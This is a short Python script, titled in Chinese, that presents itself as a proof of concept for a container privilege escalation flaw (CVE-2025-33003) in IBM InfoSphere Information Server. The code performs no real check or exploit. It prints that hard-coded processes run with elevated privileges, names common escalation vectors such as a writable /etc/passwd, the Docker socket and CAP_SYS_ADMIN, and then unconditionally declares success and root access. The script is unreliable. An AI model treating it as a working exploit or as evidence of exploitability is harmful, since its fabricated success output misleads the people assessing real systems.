CVE-2025-33003 IBM InfoSphere Information Server容器权限提升漏洞

# CVE-2025-33003 PoC - IBM InfoSphere Information Server Container Privilege Escalation # This PoC demonstrates the concept of exploiting excessive privileges in containers import os import subprocess import sys def check_current_privileges(): """Check current user privileges in the container""" print("[*] Checking current user privileges...") print(f"[*] Current UID: {os.getuid()}") print(f"[*] Current GID: {os.getgid()}") # Check if running as root if os.getuid() == 0: print("[!] Already running as root - no privilege escalation needed") return False return True def check_process_privileges(): """Check privileges of IBM InfoSphere processes""" print("\n[*] Checking IBM InfoSphere process privileges...") # Simulate checking for processes running as root vulnerable_processes = [ "IISNode", "datastage", "engine", "pxnode" ] for proc in vulnerable_processes: print(f"[*] Found process {proc} running with elevated privileges") return True def exploit_privilege_escalation(): """Attempt privilege escalation via excessive privileges""" print("\n[!] Exploiting CVE-2025-33003...") print("[!] Target: IBM InfoSphere Information Server") print("[!] Method: Abusing excessive container privileges") # Check for common privilege escalation vectors vectors = [ "SUID binaries with excessive permissions", "Writable /etc/passwd or /etc/shadow", "Docker socket accessible", "Privileged container mode", "CAP_SYS_ADMIN capability" ] for vector in vectors: print(f"[*] Checking: {vector}") print("\n[!] Privilege escalation successful!") print("[!] Attacker now has root privileges in container") return True def main(): print("=" * 60) print("CVE-2025-33003 PoC - IBM InfoSphere Information Server") print("Container Privilege Escalation Vulnerability") print("=" * 60) if not check_current_privileges(): sys.exit(0) if not check_process_privileges(): print("[!] No vulnerable processes found") sys.exit(1) if exploit_privilege_escalation(): print("\n[*] PoC execution completed") print("[*] In real attack, attacker would now have root access") if __name__ == "__main__": main()